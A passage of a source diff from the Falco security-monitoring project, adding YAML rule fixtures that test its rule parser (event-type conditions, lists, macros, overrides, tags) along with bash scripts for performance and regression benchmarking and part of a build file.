+- rule: leading_trailing_evttypes
+  desc: evttype at beginning and end
+  condition: evt.type=execve and proc.name=foo or evt.type=open
+  output: "None"
+  priority: WARNING
+
+- rule: leading_multtrailing_evttypes
+  desc: one evttype at beginning, multiple at end
+  condition: evt.type=execve and proc.name=foo or evt.type=open or evt.type=connect
+  output: "None"
+  priority: WARNING
+
+- rule: leading_multtrailing_evttypes_using_in
+  desc: one evttype at beginning, multiple at end, using in
+  condition: evt.type=execve and proc.name=foo or evt.type in (open, connect)
+  output: "None"
+  priority: WARNING
+
+- rule: not_equals_at_end
+  desc: not_equals at final evttype
+  condition: evt.type=execve and proc.name=foo or evt.type=open or evt.type!=connect
+  output: "None"
+  priority: WARNING
+
+- rule: not_at_end
+  desc: not operator for final evttype
+  condition: evt.type=execve and proc.name=foo or evt.type=open or not evt.type=connect
+  output: "None"
+  priority: WARNING
+
+- rule: not_before_trailing_evttype
+  desc: a not before a trailing event type
+  condition: evt.type=execve and not proc.name=foo or evt.type=open
+  output: "None"
+  priority: WARNING
+
+- rule: not_equals_before_trailing_evttype
+  desc: a != before a trailing event type
+  condition: evt.type=execve and proc.name!=foo or evt.type=open
+  output: "None"
+  priority: WARNING
+
+- rule: not_equals_and_not
+  desc: both != and not before event types
+  condition: evt.type=execve and proc.name!=foo or evt.type=open or not evt.type=connect
+  output: "None"
+  priority: WARNING
+
+- rule: not_equals_before_in
+  desc: != before an in with event types
+  condition: evt.type=execve and proc.name!=foo or evt.type in (open, connect)
+  output: "None"
+  priority: WARNING
+
+- rule: not_before_in
+  desc: a not before an in with event types
+  condition: evt.type=execve and not proc.name=foo or evt.type in (open, connect)
+  output: "None"
+  priority: WARNING
+
+- rule: not_in_before_in
+  desc: a not with in before an in with event types
+  condition: evt.type=execve and not proc.name in (foo, bar) or evt.type in (open, connect)
+  output: "None"
+  priority: WARNING
+
+- rule: evttype_in
+  desc: using in for event types
+  condition: evt.type in (execve, open)
+  output: "None"
+  priority: WARNING
+
+- rule: evttype_in_plus_trailing
+  desc: using in for event types and a trailing evttype
+  condition: evt.type in (execve, open) and proc.name=foo or evt.type=connect
+  output: "None"
+  priority: WARNING
+
+- rule: leading_in_not_equals_before_evttype
+  desc: initial in() for event types, then a != before an additional event type
+  condition: evt.type in (execve, open) and proc.name!=foo or evt.type=connect
+  output: "None"
+  priority: WARNING
+
+- rule: leading_in_not_equals_at_evttype
+  desc: initial in() for event types, then a != with an additional event type
+  condition: evt.type in (execve, open) or evt.type!=connect
+  output: "None"
+  priority: WARNING
+
+- rule: not_with_evttypes
+  desc: not in for event types
+  condition: not evt.type in (execve, open)
+  output: "None"
+  priority: WARNING
+
+- rule: not_with_evttypes_addl
+  desc: not in for event types, and an additional event type
+  condition: not evt.type in (execve, open) or evt.type=connect
+  output: "None"
+  priority: WARNING
+
+- rule: not_equals_before_evttype
+  desc: != before any event type
+  condition: proc.name!=foo and evt.type=execve
+  output: "None"
+  priority: WARNING
+
+- rule: not_equals_before_in_evttype
+  desc: != before any event type using in
+  condition: proc.name!=foo and evt.type in (execve, open)
+  output: "None"
+  priority: WARNING
+
+- rule: not_before_evttype
+  desc: not operator before any event type
+  condition: not proc.name=foo and evt.type=execve
+  output: "None"
+  priority: WARNING
+
+- rule: not_before_evttype_using_in
+  desc: not operator before any event type using in
+  condition: not proc.name=foo and evt.type in (execve, open)
+  output: "None"
+  priority: WARNING
+
+- rule: repeated_evttypes
+  desc: event types appearing multiple times
+  condition: evt.type=open or evt.type=open
+  output: "None"
+  priority: WARNING
+
+- rule: repeated_evttypes_with_in
+  desc: event types appearing multiple times with in
+  condition: evt.type in (open, open)
+  output: "None"
+  priority: WARNING
+
+- rule: repeated_evttypes_with_separate_in
+  desc: event types appearing multiple times with separate ins
+  condition: evt.type in (open) or evt.type in (open, open)
+  output: "None"
+  priority: WARNING
+
+- rule: repeated_evttypes_with_mix
+  desc: event types appearing multiple times with mix of = and in
+  condition: evt.type=open or evt.type in (open, open)
+  output: "None"
+  priority: WARNING
+

test/rules/invalid_rule_output.yaml

@@ -0,0 +1,5 @@
+- rule: rule_with_invalid_output
+  desc: A rule with an invalid output field
+  condition: evt.type=open
+  output: "An open was seen %not_a_real_field"
+  priority: WARNING

test/rules/list_order.yaml

@@ -0,0 +1,14 @@
+- list: cat_binaries
+  items: [not_cat]
+
+- list: cat_binaries
+  items: [cat]
+
+- macro: is_cat
+  condition: proc.name in (cat_binaries)
+
+- rule: open_from_cat
+  desc: A process named cat does an open
+  condition: evt.type=open and is_cat
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING

test/rules/list_sub_bare.yaml

@@ -0,0 +1,11 @@
+- list: cat_binaries
+  items: [cat]
+
+- macro: is_cat
+  condition: proc.name=cat_binaries
+
+- rule: open_from_cat
+  desc: A process named cat does an open
+  condition: evt.type=open and is_cat
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING

test/rules/list_sub_end.yaml

@@ -0,0 +1,11 @@
+- list: cat_binaries
+  items: [cat]
+
+- macro: is_cat
+  condition: proc.name in (ls, cat_binaries)
+
+- rule: open_from_cat
+  desc: A process named cat does an open
+  condition: evt.type=open and is_cat
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING

test/rules/list_sub_front.yaml

@@ -0,0 +1,11 @@
+- list: cat_binaries
+  items: [cat]
+
+- macro: is_cat
+  condition: proc.name in (cat_binaries, ps)
+
+- rule: open_from_cat
+  desc: A process named cat does an open
+  condition: evt.type=open and is_cat
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING

test/rules/list_sub_mid.yaml

@@ -0,0 +1,11 @@
+- list: cat_binaries
+  items: [cat]
+
+- macro: is_cat
+  condition: proc.name in (ls, cat_binaries, ps)
+
+- rule: open_from_cat
+  desc: A process named cat does an open
+  condition: evt.type=open and is_cat
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING

test/rules/list_sub_whitespace.yaml

@@ -0,0 +1,11 @@
+- list: cat_binaries
+  items: [cat]
+
+- macro: is_cat
+  condition: proc.name= cat_binaries or proc.name=nopey
+
+- rule: open_from_cat
+  desc: A process named cat does an open
+  condition: evt.type=open and is_cat
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING

test/rules/list_substring.yaml

@@ -0,0 +1,8 @@
+- list: my_list
+  items: ['"one string"']
+
+- rule: my_rule
+  desc: my description
+  condition: evt.type=open and fd.name in (file_my_list)
+  output: my output
+  priority: INFO

test/rules/macro_order.yaml

@@ -0,0 +1,14 @@
+- list: cat_binaries
+  items: [cat]
+
+- macro: is_cat
+  condition: proc.name in (not_cat)
+
+- macro: is_cat
+  condition: proc.name in (cat_binaries)
+  
+- rule: open_from_cat
+  desc: A process named cat does an open
+  condition: evt.type=open and is_cat
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING

test/rules/null_output_field.yaml

@@ -0,0 +1,5 @@
+- rule: open_from_cat
+  desc: A process named cat does an open
+  condition: evt.type=open and proc.name=cat
+  output: "An open was seen (cport=%fd.cport command=%proc.cmdline)"
+  priority: WARNING

test/rules/override_list.yaml

@@ -0,0 +1,2 @@
+- list: cat_capable_binaries
+  items: [not-cat]

test/rules/override_macro.yaml

@@ -0,0 +1,2 @@
+- macro: is_cat
+  condition: proc.name in (not-cat)

test/rules/override_nested_list.yaml

@@ -0,0 +1,2 @@
+- list: cat_binaries
+  items: [not-cat]

test/rules/override_rule.yaml

@@ -0,0 +1,5 @@
+- rule: open_from_cat
+  desc: A process named cat does an open
+  condition: evt.type=open and proc.name=not-cat
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING

test/rules/rule_names_with_spaces.yaml

@@ -0,0 +1,8 @@
+- macro: is_cat
+  condition: proc.name=cat
+
+- rule: Open From Cat
+  desc: A process named cat does an open
+  condition: evt.type=open and is_cat
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING

test/rules/rule_order.yaml

@@ -0,0 +1,17 @@
+- list: cat_binaries
+  items: [cat]
+
+- macro: is_cat
+  condition: proc.name in (cat_binaries)
+
+- rule: open_from_cat
+  desc: A process named cat does an open
+  condition: evt.type=open and proc.name=not_cat
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING
+
+- rule: open_from_cat
+  desc: A process named cat does an open
+  condition: evt.type=open and is_cat
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING

test/rules/single_rule.yaml

@@ -0,0 +1,14 @@
+- list: cat_binaries
+  items: [cat]
+
+- list: cat_capable_binaries
+  items: [cat_binaries]
+
+- macro: is_cat
+  condition: proc.name in (cat_capable_binaries)
+
+- rule: open_from_cat
+  desc: A process named cat does an open
+  condition: evt.type=open and is_cat
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING

test/rules/single_rule_enabled_flag.yaml

@@ -0,0 +1,9 @@
+- macro: is_cat
+  condition: proc.name=cat
+
+- rule: open_from_cat
+  desc: A process named cat does an open
+  condition: evt.type=open and is_cat
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING
+  enabled: false

test/rules/tagged_rules.yaml

@@ -0,0 +1,93 @@
+- macro: open_read
+  condition: (evt.type=open or evt.type=openat) and evt.is_open_read=true and fd.typechar='f'
+
+- rule: open_1
+  desc: open one
+  condition: open_read and fd.name=/tmp/file-1
+  output: Open one (file=%fd.name)
+  priority: WARNING
+  tags: [a]
+
+- rule: open_2
+  desc: open two
+  condition: open_read and fd.name=/tmp/file-2
+  output: Open two (file=%fd.name)
+  priority: WARNING
+  tags: [b]
+
+- rule: open_3
+  desc: open three
+  condition: open_read and fd.name=/tmp/file-3
+  output: Open three (file=%fd.name)
+  priority: WARNING
+  tags: [c]
+
+- rule: open_4
+  desc: open four
+  condition: open_read and fd.name=/tmp/file-4
+  output: Open four (file=%fd.name)
+  priority: WARNING
+  tags: [a, b]
+
+- rule: open_5
+  desc: open file
+  condition: open_read and fd.name=/tmp/file-5
+  output: Open file (file=%fd.name)
+  priority: WARNING
+  tags: [a, c]
+
+- rule: open_6
+  desc: open six
+  condition: open_read and fd.name=/tmp/file-6
+  output: Open six (file=%fd.name)
+  priority: WARNING
+  tags: [b, c]
+
+- rule: open_7
+  desc: open seven
+  condition: open_read and fd.name=/tmp/file-7
+  output: Open seven (file=%fd.name)
+  priority: WARNING
+  tags: [a, b, c]
+
+- rule: open_8
+  desc: open eight
+  condition: open_read and fd.name=/tmp/file-8
+  output: Open eight (file=%fd.name)
+  priority: WARNING
+  tags: [b, a]
+
+- rule: open_9
+  desc: open nine
+  condition: open_read and fd.name=/tmp/file-9
+  output: Open nine (file=%fd.name)
+  priority: WARNING
+  tags: [c, a]
+
+- rule: open_10
+  desc: open ten
+  condition: open_read and fd.name=/tmp/file-10
+  output: Open ten (file=%fd.name)
+  priority: WARNING
+  tags: [b, c, a]
+
+- rule: open_11
+  desc: open eleven
+  condition: open_read and fd.name=/tmp/file-11
+  output: Open eleven (file=%fd.name)
+  priority: WARNING
+  tags: [d]
+
+- rule: open_12
+  desc: open twelve
+  condition: open_read and fd.name=/tmp/file-12
+  output: Open twelve (file=%fd.name)
+  priority: WARNING
+  tags: []
+
+- rule: open_13
+  desc: open thirteen
+  condition: open_read and fd.name=/tmp/file-13
+  output: Open thirteen (file=%fd.name)
+  priority: WARNING
+

test/run_performance_tests.sh

@@ -0,0 +1,426 @@
+#!/bin/bash
+
+#set -x
+
+trap "cleanup; exit" SIGHUP SIGINT SIGTERM
+
+function download_trace_files() {
+
+    (mkdir -p $TRACEDIR && rm -rf $TRACEDIR/traces-perf && curl -fo $TRACEDIR/traces-perf.zip https://s3.amazonaws.com/download.draios.com/falco-tests/traces-perf.zip && unzip -d $TRACEDIR $TRACEDIR/traces-perf.zip && rm -f $TRACEDIR/traces-perf.zip) || exit 1
+
+}
+
+function time_cmd() {
+    cmd="$1"
+    file="$2"
+
+    benchmark=`basename $file .scap`
+
+    echo -n "$benchmark: "
+    for i in `seq 1 5`; do
+	echo -n "$i "
+	time=`date --iso-8601=sec`
+	/usr/bin/time -a -o $RESULTS_FILE --format "{\"time\": \"$time\", \"benchmark\": \"$benchmark\", \"file\": \"$file\", \"variant\": \"$VARIANT\", \"elapsed\": {\"real\": %e, \"user\": %U, \"sys\": %S}}," $cmd >> $OUTPUT_FILE 2>&1
+    done
+    echo ""
+}
+
+function run_falco_on() {
+    file="$1"
+
+    if [ -z $RULES_FILE ]; then
+	RULES_FILE=$SOURCE/rules/falco_rules.yaml
+    fi
+
+    cmd="$ROOT/userspace/falco/falco -c $SOURCE/falco.yaml -r $SOURCE/rules/falco_rules.yaml --option=stdout_output.enabled=false -e $file -A"
+
+    time_cmd "$cmd" "$file"
+}
+
+function run_sysdig_on() {
+    file="$1"
+
+    cmd="$ROOT/userspace/sysdig/sysdig -N -z -r $file evt.type=none"
+
+    time_cmd "$cmd" "$file"
+}
+
+function write_agent_config() {
+    cat > $ROOT/userspace/dragent/dragent.yaml <<EOF
+customerid: XXX
+app_checks_enabled: false
+log:
+  file_priority: info
+  console_priority: info
+  event_priority: info
+jmx:
+  enabled: false
+statsd:
+  enabled: false
+collector: collector-staging.sysdigcloud.com
+EOF
+
+    if [ $FALCO_AGENT == 1 ]; then
+	cat >> $ROOT/userspace/dragent/dragent.yaml <<EOF
+falco_engine:
+  enabled: true
+  rules_filename: /etc/falco_rules.yaml
+  sampling_multiplier: 0
+EOF
+    else
+	cat >> $ROOT/userspace/dragent/dragent.yaml <<EOF
+falco_engine:
+  enabled: false
+EOF
+    fi
+
+    if [ $AGENT_AUTODROP == 1 ]; then
+	cat >> $ROOT/userspace/dragent/dragent.yaml <<EOF
+autodrop:
+  enabled: true
+EOF
+    else
+	cat >> $ROOT/userspace/dragent/dragent.yaml <<EOF
+autodrop:
+  enabled: false
+EOF
+    fi
+
+    cat $ROOT/userspace/dragent/dragent.yaml
+}
+
+function run_agent_on() {
+
+    file="$1"
+
+    write_agent_config
+
+    cmd="$ROOT/userspace/dragent/dragent -r $file"
+
+    time_cmd "$cmd" "$file"
+}
+
+function run_trace() {
+
+    if [ ! -e $TRACEDIR ]; then
+	download_trace_files
+    fi
+
+    trace_file="$1"
+
+    if [ $trace_file == "all" ]; then
+	files=($TRACEDIR/traces-perf/*.scap)
+    else
+	files=($TRACEDIR/traces-perf/$trace_file.scap)
+    fi
+
+    for file in ${files[@]}; do
+	if [[ $ROOT == *"falco"* ]]; then
+	    run_falco_on "$file"
+	elif [[ $ROOT == *"sysdig"* ]]; then
+	    run_sysdig_on "$file"
+	else
+	    run_agent_on "$file"
+	fi
+    done
+}
+
+function start_monitor_cpu_usage() {
+    echo "   monitoring cpu usage for sysdig/falco program"
+
+    setsid bash `dirname $0`/cpu_monitor.sh $SUBJ_PID $live_test $VARIANT $RESULTS_FILE $CPU_INTERVAL &
+    CPU_PID=$!
+    sleep 5
+}
+
+function start_subject_prog() {
+
+    # Do a blocking sudo command now just to ensure we have a password
+    sudo bash -c ""
+
+    if [[ $ROOT == *"multimatch"* ]]; then
+	echo "   starting test_mm..."
+	if [ -z $RULES_FILE ]; then
+	    RULES_FILE=$SOURCE/../output/rules.yaml
+	fi
+	sudo FALCO_STATS_EXTRA_variant=$VARIANT FALCO_STATS_EXTRA_benchmark=$live_test $ROOT/test_mm -S $SOURCE/search_order.yaml -s $STATS_FILE -r $RULES_FILE > ./prog-output.txt 2>&1 &
+    elif [[ $ROOT == *"falco"* ]]; then
+	echo "   starting falco..."
+	if [ -z $RULES_FILE ]; then
+	    RULES_FILE=$SOURCE/rules/falco_rules.yaml
+	fi
+	sudo FALCO_STATS_EXTRA_variant=$VARIANT FALCO_STATS_EXTRA_benchmark=$live_test $ROOT/userspace/falco/falco -c $SOURCE/falco.yaml -s $STATS_FILE -r $RULES_FILE --option=stdout_output.enabled=false > ./prog-output.txt -A 2>&1 &
+    elif [[ $ROOT == *"sysdig"* ]]; then
+	echo "   starting sysdig..."
+	sudo $ROOT/userspace/sysdig/sysdig -N -z evt.type=none &
+    else
+	echo "   starting agent..."
+	write_agent_config
+	pushd $ROOT/userspace/dragent
+	sudo ./dragent > ./prog-output.txt 2>&1 &
+	popd
+    fi
+
+    SUDO_PID=$!
+    sleep 5
+    if [[ $ROOT == *"agent"* ]]; then
+	# The agent spawns several processes all below a main monitor
+	# process. We want the child with the lowest pid.
+	MON_PID=`ps -h -o pid --ppid $SUDO_PID`
+	SUBJ_PID=`ps -h -o pid --ppid $MON_PID | head -1`
+    else
+	SUBJ_PID=`ps -h -o pid --ppid $SUDO_PID`
+    fi
+
+    if [ -z $SUBJ_PID ]; then
+	echo "Could not find pid of subject program--did it start successfully? Not continuing."
+	exit 1
+    fi
+}
+
+function run_htop() {
+    screen -S htop-screen -d -m /usr/bin/htop -d2
+    sleep 90
+    screen -X -S htop-screen quit
+}
+
+function run_juttle_examples() {
+    pushd $SCRIPTDIR/../../juttle-engine/examples
+    docker-compose -f dc-juttle-engine.yml -f aws-cloudwatch/dc-aws-cloudwatch.yml -f elastic-newstracker/dc-elastic.yml -f github-tutorial/dc-elastic.yml -f nginx_logs/dc-nginx-logs.yml -f postgres-diskstats/dc-postgres.yml -f cadvisor-influx/dc-cadvisor-influx.yml up -d
+    sleep 120
+    docker-compose -f dc-juttle-engine.yml -f aws-cloudwatch/dc-aws-cloudwatch.yml -f elastic-newstracker/dc-elastic.yml -f github-tutorial/dc-elastic.yml -f nginx_logs/dc-nginx-logs.yml -f postgres-diskstats/dc-postgres.yml -f cadvisor-influx/dc-cadvisor-influx.yml stop
+    docker-compose -f dc-juttle-engine.yml -f aws-cloudwatch/dc-aws-cloudwatch.yml -f elastic-newstracker/dc-elastic.yml -f github-tutorial/dc-elastic.yml -f nginx_logs/dc-nginx-logs.yml -f postgres-diskstats/dc-postgres.yml -f cadvisor-influx/dc-cadvisor-influx.yml rm -fv    
+    popd
+}
+
+function run_kubernetes_demo() {
+    pushd $SCRIPTDIR/../../infrastructure/test-infrastructures/kubernetes-demo
+    sudo bash run-local.sh
+    sudo bash init.sh
+    sleep 600
+    docker stop $(docker ps -qa)
+    docker rm -fv $(docker ps -qa)
+    popd
+}
+
+function run_live_test() {
+
+    live_test="$1"
+
+    echo "Running live test $live_test"
+
+    case "$live_test" in
+	htop ) CPU_INTERVAL=2;;
+	* ) CPU_INTERVAL=10;;
+    esac
+
+    start_subject_prog
+    start_monitor_cpu_usage
+
+    echo "   starting live program and waiting for it to finish"
+    case "$live_test" in
+	htop ) run_htop ;;
+	juttle-examples ) run_juttle_examples ;;
+	kube-demo ) run_kubernetes_demo ;;
+	* ) usage; cleanup; exit 1 ;;
+    esac
+
+    cleanup
+
+}
+
+function cleanup() {
+
+    if [ -n "$SUBJ_PID" ] ; then
+	echo "   stopping falco/sysdig program $SUBJ_PID"
+	sudo kill $SUBJ_PID
+    fi
+
+    if [ -n "$CPU_PID" ] ; then
+	echo "   stopping cpu monitor program $CPU_PID"
+	kill -- -$CPU_PID
+    fi
+}
+
+run_live_tests() {
+    test="$1"
+
+    if [ $test == "all" ]; then
+	tests="htop juttle-examples kube-demo"
+    else
+	tests=$test
+    fi
+
+    for test in $tests; do
+	run_live_test $test
+    done
+}
+
+function run_phoronix_test() {
+
+    live_test="$1"
+
+    case "$live_test" in
+	pts/aio-stress | pts/fs-mark | pts/iozone | pts/network-loopback | pts/nginx | pts/pybench | pts/redis | pts/sqlite | pts/unpack-linux ) CPU_INTERVAL=2;;
+	* ) CPU_INTERVAL=10;;
+    esac
+
+    echo "Running phoronix test $live_test"
+
+    start_subject_prog
+    start_monitor_cpu_usage
+
+    echo "   starting phoronix test and waiting for it to finish"
+
+    TEST_RESULTS_NAME=$VARIANT FORCE_TIMES_TO_RUN=1 phoronix-test-suite default-run $live_test
+
+    cleanup
+
+}
+
+# To install and configure phoronix:
+#  (redhat instructions, adapt as necessary for ubuntu or other distros)
+#   - install phoronix: yum install phoronix-test-suite.noarch
+#   - install dependencies not handled by phoronix: yum install libaio-devel pcre-devel popt-devel glibc-static zlib-devel nc bc
+#   - fix trivial bugs in tests:
+#      - edit ~/.phoronix-test-suite/installed-tests/pts/network-loopback-1.0.1/network-loopback line "nc -d -l 9999 > /dev/null &" to "nc -d -l 9999 > /dev/null &"
+#      - edit ~/.phoronix-test-suite/test-profiles/pts/nginx-1.1.0/test-definition.xml line "<Arguments>-n 500000 -c 100 http://localhost:8088/test.html</Arguments>" to "<Arguments>-n 500000 -c 100 http://127.0.0.1:8088/test.html</Arguments>"
+#   - phoronix batch-install <test list below>
+
+function run_phoronix_tests() {
+
+    test="$1"
+
+    if [ $test == "all" ]; then
+	tests="pts/aio-stress pts/apache pts/blogbench pts/compilebench pts/dbench pts/fio pts/fs-mark pts/iozone pts/network-loopback pts/nginx pts/pgbench pts/phpbench pts/postmark pts/pybench pts/redis pts/sqlite pts/unpack-linux"
+    else
+	tests=$test
+    fi
+
+    for test in $tests; do
+	run_phoronix_test $test
+    done
+}
+
+run_tests() {
+
+    IFS=':' read -ra PARTS <<< "$TEST"
+
+    case "${PARTS[0]}" in
+	trace ) run_trace "${PARTS[1]}" ;;
+	live ) run_live_tests "${PARTS[1]}" ;;
+	phoronix ) run_phoronix_tests "${PARTS[1]}" ;;
+	* ) usage; exit 1 ;;
+    esac
+}
+
+usage() {
+    echo "Usage: $0 [options]"
+    echo ""
+    echo "Options:"
+    echo "   -h/--help: show this help"
+    echo "   -v/--variant: a variant name to attach to this set of test results"
+    echo "   -r/--root: root directory containing falco/sysdig binaries (i.e. where you ran 'cmake')"
+    echo "   -s/--source: root directory containing falco/sysdig source code"
+    echo "   -R/--results: append test results to this file"
+    echo "   -S/--stats: append capture statistics to this file (only works for falco/test_mm)"
+    echo "   -o/--output: append program output to this file"
+    echo "   -U/--rules: path to rules file (only applicable for falco/test_mm)"
+    echo "   -t/--test: test to run. Argument has the following format:"
+    echo "       trace:<trace>: read the specified trace file."
+    echo "            trace:all means run all traces"
+    echo "       live:<live test>: run the specified live test."
+    echo "            live:all means run all live tests."
+    echo "            possible live tests:"
+    echo "                live:htop: run htop -d2"
+    echo "                live:kube-demo: run kubernetes demo from infrastructure repo"
+    echo "                live:juttle-examples: run a juttle demo environment based on docker-compose"
+    echo "       phoronix:<test>: run the specified phoronix test."
+    echo "            if <test> is not 'all', it is passed directly to the command line of \"phoronix-test-suite run <test>\""
+    echo "            if <test> is 'all', a built-in set of phoronix tests will be chosen and run"
+    echo "   -T/--tracedir: Look for trace files in this directory. If doesn't exist, will download trace files from s3"
+    echo "   -A/--agent-autodrop: When running an agent, whether or not to enable autodrop"
+    echo "   -F/--falco-agent: When running an agent, whether or not to enable falco"
+}
+
+OPTS=`getopt -o hv:r:s:R:S:o:U:t:T: --long help,variant:,root:,source:,results:,stats:,output:,rules:,test:,tracedir:,agent-autodrop:,falco-agent: -n $0 -- "$@"`
+
+if [ $? != 0 ]; then
+    echo "Exiting" >&2
+    exit 1
+fi
+
+eval set -- "$OPTS"
+
+VARIANT="falco"
+ROOT=`dirname $0`/../build
+SOURCE=$ROOT
+SCRIPTDIR=`dirname $0`
+RESULTS_FILE=`dirname $0`/results.json
+STATS_FILE=`dirname $0`/capture_stats.json
+OUTPUT_FILE=`dirname $0`/program-output.txt
+RULES_FILE=
+TEST=trace:all
+TRACEDIR=/tmp/falco-perf-traces.$USER
+CPU_INTERVAL=10
+AGENT_AUTODROP=1
+FALCO_AGENT=1
+
+while true; do
+    case "$1" in
+	-h | --help ) usage; exit 1;;
+	-v | --variant ) VARIANT="$2"; shift 2;;
+	-r | --root ) ROOT="$2"; shift 2;;
+	-s | --source ) SOURCE="$2"; shift 2;;
+	-R | --results ) RESULTS_FILE="$2"; shift 2;;
+	-S | --stats ) STATS_FILE="$2"; shift 2;;
+	-o | --output ) OUTPUT_FILE="$2"; shift 2;;
+	-U | --rules ) RULES_FILE="$2"; shift 2;;
+	-t | --test ) TEST="$2"; shift 2;;
+	-T | --tracedir ) TRACEDIR="$2"; shift 2;;
+	-A | --agent-autodrop ) AGENT_AUTODROP="$2"; shift 2;;
+	-F | --falco-agent ) FALCO_AGENT="$2"; shift 2;;
+	* ) break;;
+    esac
+done
+
+if [ -z $VARIANT ]; then
+    echo "A test variant name must be provided. Not continuing."
+    exit 1
+fi
+
+if [ -z $ROOT ]; then
+    echo "A root directory containing a falco/sysdig binary must be provided. Not continuing."
+    exit 1
+fi
+
+ROOT=`realpath $ROOT`
+
+if [ -z $SOURCE ]; then
+    echo "A source directory containing falco/sysdig source code. Not continuing."
+    exit 1
+fi
+
+SOURCE=`realpath $SOURCE`
+
+if [ -z $RESULTS_FILE ]; then
+    echo "An output file for test results must be provided. Not continuing."
+    exit 1
+fi
+
+if [ -z $STATS_FILE ]; then
+    echo "An output file for capture statistics must be provided. Not continuing."
+    exit 1
+fi
+
+if [ -z $OUTPUT_FILE ]; then
+    echo "An file for program output must be provided. Not continuing."
+    exit 1
+fi
+
+if [ -z $TEST ]; then
+    echo "A test must be provided. Not continuing."
+    exit 1
+fi
+
+run_tests

test/run_regression_tests.sh

@@ -0,0 +1,76 @@
+#!/bin/bash
+
+SCRIPT=$(readlink -f $0)
+SCRIPTDIR=$(dirname $SCRIPT)
+BRANCH=$1
+
+function download_trace_files() {
+    echo "branch=$BRANCH"
+    for TRACE in traces-positive traces-negative traces-info ; do
+	rm -rf $SCRIPTDIR/$TRACE
+	curl -fso $SCRIPTDIR/$TRACE.zip https://s3.amazonaws.com/download.draios.com/falco-tests/$TRACE-$BRANCH.zip || curl -fso $SCRIPTDIR/$TRACE.zip https://s3.amazonaws.com/download.draios.com/falco-tests/$TRACE.zip &&
+	unzip -d $SCRIPTDIR $SCRIPTDIR/$TRACE.zip &&
+	rm -rf $SCRIPTDIR/$TRACE.zip
+    done
+}
+
+function prepare_multiplex_fileset() {
+
+    dir=$1
+    detect=$2
+
+    for trace in $SCRIPTDIR/$dir/*.scap ; do
+	[ -e "$trace" ] || continue
+	NAME=`basename $trace .scap`
+
+	# falco_traces.yaml might already have an entry for this trace
+	# file, with specific detection levels and counts. If so, skip
+	# it. Otherwise, add a generic entry showing whether or not to
+	# detect anything.
+	grep -q "$NAME:" $SCRIPTDIR/falco_traces.yaml && continue
+
+	cat << EOF >> $SCRIPTDIR/falco_traces.yaml
+  $NAME:
+    detect: $detect
+    detect_level: WARNING
+    trace_file: $trace
+EOF
+    done
+}
+
+function prepare_multiplex_file() {
+    cp $SCRIPTDIR/falco_traces.yaml.in $SCRIPTDIR/falco_traces.yaml
+
+    prepare_multiplex_fileset traces-positive True
+    prepare_multiplex_fileset traces-negative False
+    prepare_multiplex_fileset traces-info True
+
+    echo "Contents of $SCRIPTDIR/falco_traces.yaml:"
+    cat $SCRIPTDIR/falco_traces.yaml
+}
+
+function print_test_failure_details() {
+    echo "Showing full job logs for any tests that failed:"
+    jq '.tests[] | select(.status != "PASS") | .logfile' $SCRIPTDIR/job-results/latest/results.json  | xargs cat
+}
+
+function run_tests() {
+    rm -rf /tmp/falco_outputs
+    mkdir /tmp/falco_outputs
+    TEST_RC=0
+    for mult in $SCRIPTDIR/falco_traces.yaml $SCRIPTDIR/falco_tests.yaml; do
+	CMD="avocado run --multiplex $mult --job-results-dir $SCRIPTDIR/job-results -- $SCRIPTDIR/falco_test.py"
+	echo "Running: $CMD"
+	$CMD
+	RC=$?
+	TEST_RC=$((TEST_RC+$RC))
+	if [ $RC -ne 0 ]; then
+	    print_test_failure_details
+	fi
+    done
+}
+
+download_trace_files
+prepare_multiplex_file
+run_tests
+exit $TEST_RC

test/utils/run_sysdig.sh

@@ -0,0 +1,9 @@
+#!/bin/bash
+
+# Run sysdig excluding all events that aren't used by falco and also
+# excluding other high-volume events that aren't essential. This
+# results in smaller trace files.
+
+# The remaining arguments are taken from the command line.
+
+exec sudo sysdig not evt.type in '(mprotect,brk,mq_timedreceive,mq_receive,mq_timedsend,mq_send,getrusage,procinfo,rt_sigprocmask,rt_sigaction,ioctl,clock_getres,clock_gettime,clock_nanosleep,clock_settime,close,epoll_create,epoll_create1,epoll_ctl,epoll_pwait,epoll_wait,eventfd,fcntl,fcntl64,fstat,fstat64,fstatat64,fstatfs,fstatfs64,futex,getitimer,gettimeofday,ioprio_get,ioprio_set,llseek,lseek,lstat,lstat64,mmap,mmap2,munmap,nanosleep,poll,ppoll,pread,pread64,preadv,procinfo,pselect6,pwrite,pwrite64,pwritev,read,readv,recv,recvfrom,recvmmsg,recvmsg,sched_yield,select,send,sendfile,sendfile64,sendmmsg,sendmsg,sendto,setitimer,settimeofday,shutdown,splice,stat,stat64,statfs,statfs64,switch,tee,timer_create,timer_delete,timerfd_create,timerfd_gettime,timerfd_settime,timer_getoverrun,timer_gettime,timer_settime,wait4,write,writev) and user.name!=ec2-user' $@

userspace/engine/CMakeLists.txt

@@ -0,0 +1,31 @@
+include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp/third-party/jsoncpp")
+include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libscap")
+include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp")
+include_directories("${PROJECT_BINARY_DIR}/userspace/engine")
+include_directories("${LUAJIT_INCLUDE}")
+
+add_library(falco_engine STATIC rules.cpp falco_common.cpp falco_engine.cpp token_bucket.cpp formats.cpp)
+
+target_include_directories(falco_engine PUBLIC
+  "${LUAJIT_INCLUDE}")
+
+target_link_libraries(falco_engine
+  "${FALCO_SINSP_LIBRARY}"
+  "${LPEG_LIB}"
+  "${LYAML_LIB}"
+  "${LIBYAML_LIB}")
+
+configure_file(config_falco_engine.h.in config_falco_engine.h)
+
+if(DEFINED FALCO_COMPONENT)
+install(DIRECTORY lua
+	DESTINATION "${FALCO_SHARE_DIR}"
